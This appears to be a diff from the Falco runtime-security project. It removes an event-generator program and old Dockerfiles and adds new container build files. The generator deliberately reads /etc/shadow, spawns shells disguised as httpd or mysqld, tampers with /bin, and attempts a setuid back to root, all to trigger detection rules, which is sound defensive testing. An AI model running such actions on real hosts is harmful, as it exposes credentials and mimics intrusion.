-	read("/etc/shadow");
-}
-
-void read_sensitive_file_after_startup() {
-	printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
-	respawn("./httpd", "read_sensitive_file", "6");
-}
-
-void write_rpm_database() {
-	printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
-	touch("/var/lib/rpm/created-by-event-generator-sh");
-}
-
-void spawn_shell() {
-	printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
-	int rc;
-
-	if ((rc = system("ls > /dev/null")) != 0)
-	{
-		fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
-	}
-}
-
-void spawn_shell_under_httpd() {
-	printf("Becoming the program \"httpd\" and then spawning a shell\n");
-	respawn("./httpd", "spawn_shell", "0");
-}
-
-void db_program_spawn_process() {
-	printf("Becoming the program \"mysql\" and then running ls\n");
-	respawn("./mysqld", "exec_ls", "0");
-}
-
-void modify_binary_dirs() {
-	printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
-
-	if (rename("/bin/true", "/bin/true.event-generator-sh") != 0)
-	{
-		fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
-	}
-	else
-	{
-		if (rename("/bin/true.event-generator-sh", "/bin/true") != 0)
-		{
-			fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
-		}
-	}
-}
-
-void mkdir_binary_dirs() {
-	printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
-	if (mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
-	{
-		fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
-	}
-}
-
-void change_thread_namespace() {
-	printf("Calling setns() to change namespaces...\n");
-	printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
-	// It doesn't matter that the arguments to setns are
-	// bogus. It's the attempt to call it that will trigger the
-	// rule.
-	setns(0, 0);
-}
-
-void system_user_interactive() {
-	pid_t child;
-
-	printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
-	// Fork a child and do everything in the child.
-	if ((child = fork()) == 0)
-	{
-		become_user("daemon");
-		char *argv[] = {(char *)"/bin/login", NULL};
-		char *env[] = {NULL};
-		spawn("/bin/login", argv, env);
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void network_activity() {
-	printf("Connecting a udp socket to 10.2.3.4:8192...\n");
-	int rc;
-	int sock = socket(PF_INET, SOCK_DGRAM, 0);
-	struct sockaddr_in localhost;
-
-	localhost.sin_family = AF_INET;
-	localhost.sin_port = htons(8192);
-	inet_aton("10.2.3.4", &(localhost.sin_addr));
-
-	if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
-	{
-		fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
-		return;
-	}
-
-	close(sock);
-}
-
-void system_procs_network_activity() {
-	printf("Becoming the program \"sha1sum\" and then performing network activity\n");
-	respawn("./sha1sum", "network_activity", "0");
-}
-
-void non_sudo_setuid() {
-	pid_t child;
-
-	printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
-
-	// Fork a child and do everything in the child.
-	if ((child = fork()) == 0)
-	{
-		// First setuid to something non-root. Then try to setuid back to root.
-		become_user("daemon");
-		become_user("root");
-		exit(0);
-	}
-	else
-	{
-		int status;
-		waitpid(child, &status, 0);
-	}
-}
-
-void create_files_below_dev() {
-	printf("Creating /dev/created-by-event-generator-sh...\n");
-	touch("/dev/created-by-event-generator-sh");
-}
-
-void exec_ls()
-{
-	char *argv[] = {(char *)"/bin/ls", NULL};
-	char *env[] = {NULL};
-	spawn("/bin/ls", argv, env);
-}
-
-void user_mgmt_binaries() {
-	printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
-	printf("NOTE: does not result in a falco notification in containers\n");
-	respawn("./vipw", "exec_ls", "0");
-}
-
-typedef void (*action_t)();
-
-map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
-					 {"write_etc", write_etc},
-					 {"read_sensitive_file", read_sensitive_file},
-					 {"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
-					 {"write_rpm_database", write_rpm_database},
-					 {"spawn_shell", spawn_shell},
-					 {"spawn_shell_under_httpd", spawn_shell_under_httpd},
-					 {"db_program_spawn_process", db_program_spawn_process},
-					 {"modify_binary_dirs", modify_binary_dirs},
-					 {"mkdir_binary_dirs", mkdir_binary_dirs},
-					 {"change_thread_namespace", change_thread_namespace},
-					 {"system_user_interactive", system_user_interactive},
-					 {"network_activity", network_activity},
-					 {"system_procs_network_activity", system_procs_network_activity},
-					 {"non_sudo_setuid", non_sudo_setuid},
-					 {"create_files_below_dev", create_files_below_dev},
-					 {"exec_ls", exec_ls},
-					 {"user_mgmt_binaries", user_mgmt_binaries},
-					 {"exfiltration", exfiltration}};
-
-// Some actions don't directly result in suspicious behavior. These
-// actions are excluded from the ones run with -a all.
-set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
-
-void create_symlinks(const char *program)
-{
-	int rc;
-
-	// Some actions depend on this program being re-run as
-	// different program names like 'mysqld', 'httpd', etc. This
-	// sets up all the required symlinks.
-	const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
-
-	for (unsigned int i=0; progs[i] != NULL; i++)
-	{
-		unlink(progs[i]);
-
-		if ((rc = symlink(program, progs[i])) != 0)
-		{
-			fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
-		}
-	}
-}
-
-void run_actions(map<string, action_t> &actions, int interval, bool once)
-{
-	while (true)
-	{
-		for (auto action : actions)
-		{
-			printf("***Action %s\n", action.first.c_str());
-			action.second();
-			sleep(interval);
-		}
-		if(once)
-		{
-			break;
-		}
-	}
-}
-
-int main(int argc, char **argv)
-{
-	map<string, action_t> actions;
-	int op;
-	int long_index = 0;
-	int interval = 1;
-	bool once = false;
-	map<string, action_t>::iterator it;
-
-	static struct option long_options[] =
-	{
-		{"help", no_argument, 0, 'h' },
-		{"action", required_argument, 0, 'a' },
-		{"interval", required_argument, 0, 'i' },
-		{"once", no_argument, 0, 'o' },
-
-		{0, 0}
-	};
-
-	//
-	// Parse the args
-	//
-	while((op = getopt_long(argc, argv,
-				"ha:i:l:o",
-				long_options, &long_index)) != -1)
-	{
-		switch(op)
-		{
-		case 'h':
-			usage(argv[0]);
-			exit(1);
-		case 'a':
-			// "all" is already implied
-			if (strcmp(optarg, "all") != 0)
-			{
-				if((it = defined_actions.find(optarg)) == defined_actions.end())
-				{
-					fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
-					exit(1);
-				}
-				actions.insert(*it);
-			}
-			break;
-		case 'i':
-			interval = atoi(optarg);
-			break;
-		case 'o':
-			once = true;
-			break;
-		default:
-			usage(argv[0]);
-			exit(1);
-		}
-	}
-
-	//
-        // Also look for actions in the environment. If specified, they
-        // override any specified on the command line.
-	//
-	char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
-
-	if(env_action)
-	{
-		actions.clear();
-
-		string envs(env_action);
-		istringstream ss(envs);
-		string item;
-		while (std::getline(ss, item, ':'))
-		{
-			if((it = defined_actions.find(item)) == defined_actions.end())
-			{
-				fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
-				exit(1);
-			}
-			actions.insert(*it);
-		}
-	}
-
-	if(actions.size() == 0)
-	{
-		for(auto &act : defined_actions)
-		{
-			if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
-			{
-				actions.insert(act);
-			}
-		}
-	}
-
-	setvbuf(stdout, NULL, _IONBF, 0);
-	setvbuf(stderr, NULL, _IONBF, 0);
-	// Only create symlinks when running as the program event_generator
-	if (strstr(argv[0], "generator"))
-	{
-		create_symlinks(argv[0]);
-	}
-
-	run_actions(actions, interval, once);
-}

docker/falco-debian/Dockerfile

@@ -0,0 +1,41 @@
+FROM debian:12-slim
+
+ARG FALCO_COMMIT_SHA
+ARG FALCO_VERSION
+
+LABEL org.opencontainers.image.authors='The Falco Authors https://falco.org' \
+      org.opencontainers.image.url='https://falco.org' \
+      org.opencontainers.image.source='https://github.com/falcosecurity/falco' \
+      org.opencontainers.image.vendor='Falco Organization' \
+      org.opencontainers.image.licenses='Apache-2.0' \
+      org.opencontainers.image.revision=${FALCO_COMMIT_SHA} \
+      org.opencontainers.image.version=${FALCO_VERSION} \
+      maintainer="cncf-falco-dev@lists.cncf.io"
+
+LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /proc:/host/proc:ro -v /etc:/host/etc:ro falcosecurity/falco:latest-debian"
+
+ARG VERSION_BUCKET=deb
+ARG HOST_ROOT=/host
+ARG HOME=/root
+
+ENV FALCO_VERSION="${FALCO_VERSION}" \
+    VERSION_BUCKET="${VERSION_BUCKET}" \
+    HOST_ROOT="${HOST_ROOT}" \
+    HOME="${HOME}"
+
+RUN apt-get -y update && apt-get -y install curl jq ca-certificates gnupg2 \
+	&& apt clean -y && rm -rf /var/lib/apt/lists/*
+
+WORKDIR /
+
+RUN curl -s https://falco.org/repo/falcosecurity-packages.asc | apt-key add - \
+	&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
+	&& apt-get update -y \
+	&& if [ "$FALCO_VERSION" = "latest" ]; then FALCO_DRIVER_CHOICE=none apt-get install -y --no-install-recommends falco; else FALCO_DRIVER_CHOICE=none apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
+	&& apt-get clean \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601 output.
+ADD config/falco.iso8601_timeformat.yaml /etc/falco/config.d/
+
+CMD ["/usr/bin/falco"]

docker/falco/Dockerfile

@@ -0,0 +1,48 @@
+FROM cgr.dev/chainguard/wolfi-base
+
+ARG FALCO_COMMIT_SHA
+ARG FALCO_VERSION
+
+LABEL org.opencontainers.image.authors='The Falco Authors https://falco.org' \
+      org.opencontainers.image.url='https://falco.org' \
+      org.opencontainers.image.source='https://github.com/falcosecurity/falco' \
+      org.opencontainers.image.vendor='Falco Organization' \
+      org.opencontainers.image.licenses='Apache-2.0' \
+      org.opencontainers.image.revision=${FALCO_COMMIT_SHA} \
+      org.opencontainers.image.version=${FALCO_VERSION} \
+      maintainer="cncf-falco-dev@lists.cncf.io"
+
+LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /proc:/host/proc:ro  -v /etc:/host/etc:ro falcosecurity/falco:latest"
+# NOTE: for the "least privileged" use case, please refer to the official documentation
+
+ARG VERSION_BUCKET=bin
+ARG HOST_ROOT=/host
+ARG HOME=/root
+
+ENV FALCO_VERSION="${FALCO_VERSION}" \
+    VERSION_BUCKET="${VERSION_BUCKET}" \
+    HOST_ROOT="${HOST_ROOT}" \
+    HOME="${HOME}"
+
+RUN apk update && apk add curl ca-certificates jq libstdc++
+
+WORKDIR /
+
+RUN ARCH=$(uname -m) && \
+    FALCO_VERSION_URLENCODED=$(echo -n "${FALCO_VERSION}" | jq -sRr @uri) && \
+    echo "Downloading Falco ${FALCO_VERSION} for ${ARCH}" && \
+    curl -L -o falco.tar.gz \
+    https://download.falco.org/packages/${VERSION_BUCKET}/${ARCH}/falco-${FALCO_VERSION_URLENCODED}-${ARCH}.tar.gz && \
+    tar -xvf falco.tar.gz && \
+    rm -f falco.tar.gz && \
+    mv falco-${FALCO_VERSION}-${ARCH} falco && \
+    rm -rf /falco/usr/src/falco-* && \
+    cp -r /falco/* / && \
+    rm -rf /falco && \
+    rm -rf /usr/bin/falcoctl /etc/falcoctl/
+
+
+# Change the falco config within the container to enable ISO 8601 output.
+ADD config/falco.iso8601_timeformat.yaml /etc/falco/config.d/
+
+CMD ["/usr/bin/falco"]

docker/local/Dockerfile

@@ -1,66 +0,0 @@
-FROM debian:unstable
-
-MAINTAINER Sysdig <support@sysdig.com>
-
-ENV FALCO_VERSION 0.1.1dev
-
-LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
-
-ENV SYSDIG_HOST_ROOT /host
-
-ENV HOME /root
-
-RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
-
-ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
-
-RUN apt-get update \
- && apt-get install -y --no-install-recommends \
-	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
-	curl \
-	dkms \
-	gnupg2 \
-	gcc \
-	gcc-5 \
-	gcc-6 \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
- && rm -rf /var/lib/apt/lists/*
-
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
-
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
-
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
-
-ADD falco-${FALCO_VERSION}-x86_64.deb /
-RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
-
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
-
-COPY ./docker-entrypoint.sh /
-
-ENTRYPOINT ["/docker-entrypoint.sh"]
-
-CMD ["/usr/bin/falco"]

docker/local/docker-entrypoint.sh

@@ -1,17 +0,0 @@
-#!/bin/bash
-#set -e
-
-# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
-
-if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
-    echo "* Setting up /usr/src links from host"
-
-    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-    do
-        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-    done
-
-    /usr/bin/falco-probe-loader
-fi
-
-exec "$@"

docker/stable/Dockerfile

@@ -1,69 +0,0 @@
-FROM debian:unstable
-
-MAINTAINER Sysdig <support@sysdig.com>
-
-ENV FALCO_REPOSITORY stable
-
-LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
-
-ENV SYSDIG_HOST_ROOT /host
-
-ENV HOME /root
-
-RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
-
-ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
-
-RUN apt-get update \
- && apt-get install -y --no-install-recommends \
-	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
-	curl \
-	gnupg2 \
-	gcc \
-	gcc-5 \
-	gcc-6 \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	llvm-7 \
- && rm -rf /var/lib/apt/lists/*
-
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
-
-RUN rm -rf /usr/bin/clang \
- && rm -rf /usr/bin/llc \
- && ln -s /usr/bin/clang-7 /usr/bin/clang \
- && ln -s /usr/bin/llc-7 /usr/bin/llc
-
-RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
- && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
- && apt-get update \
- && apt-get install -y --no-install-recommends falco \
- && apt-get clean \
- && rm -rf /var/lib/apt/lists/*
-
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
- && ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
-
-# debian:unstable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
- && curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
- && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
- && curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
- && dpkg -i *binutils*.deb
-
-COPY ./docker-entrypoint.sh /
-
-ENTRYPOINT ["/docker-entrypoint.sh"]
-
-CMD ["/usr/bin/falco"]

docker/stable/docker-entrypoint.sh

@@ -1,17 +0,0 @@
-#!/bin/bash
-#set -e
-
-# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
-
-if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
-    echo "* Setting up /usr/src links from host"
-
-    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-    do
-        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-    done
-
-    /usr/bin/falco-probe-loader
-fi
-
-exec "$@"